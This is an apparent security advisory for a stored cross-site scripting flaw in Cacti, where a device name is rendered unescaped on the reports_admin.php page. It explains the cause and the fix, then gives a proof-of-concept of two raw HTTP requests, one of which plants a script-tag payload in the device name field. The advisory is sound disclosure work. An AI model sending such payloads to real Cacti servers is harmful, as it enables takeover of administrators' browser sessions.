Stored Cross-Site-Scripting on reports_admin.php device name in Cacti

An authenticated user with 'General Administration>Sites/Devices/Data' permissions can configure a malicious device name via `host.php` [ref_id=1]. This malicious payload, embedded in the device name, is then rendered unescaped on the `reports_admin.php` page when a graph associated with that device is displayed in a report [ref_id=1]. This allows for a stored cross-site scripting attack against administrative users who view the report [ref_id=1].

The vulnerability lies in the rendering of device names within the `reports_admin.php` script. Specifically, the `$title` variable is concatenated with a non-escaped `$description` variable, which contains the user-controlled device name, leading to the execution of injected JavaScript [ref_id=1]. The call pipeline involves `reports_admin.php`, `html_reports.php`, and `reports.php` [ref_id=1].

The advisory recommends either filtering HTML output or escaping user-supplied content before rendering it. This prevents the maliciously altered device name from being interpreted as executable JavaScript code by the victim's browser, thus mitigating the stored XSS vulnerability [ref_id=1]. Users are advised to upgrade to version 1.2.25 or later.

POST /cacti/host.php?header=false HTTP/1.1 Host: <HOST> Content-Length: 739 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://<HOST> Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: <COOKIE> Connection: close

__csrf_magic=<TOKEN>&description=%3Cscript%3Ealert('malicious+code+in+device+name')%3C%2Fscript%3E&hostname=localhost&location=&poller_id=1&site_id=1&host_template_id=1&device_threads=1&snmp_version=2&snmp_community=public&snmp_security_level=authPriv&snmp_auth_protocol=MD5&snmp_username=&snmp_password=&snmp_password_confirm=&snmp_priv_protocol=DES&snmp_priv_passphrase=&snmp_priv_passphrase_confirm=&snmp_context=&snmp_engine_id=&snmp_port=161&snmp_timeout=500&max_oids=10&bulk_walk_size=-1&availability_method=2&ping_method=1&ping_port=23&ping_timeout=400&ping_retries=1&notes=&external_id=&id=4&save_component_host=1&graph_template_id=26&snmp_query_id=5&reindex_method=1&action=save

GET /cacti/reports_admin.php?action=edit&id=1&tab=preview HTTP/1.1 Host: <HOST> Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: <COOKIE> Connection: close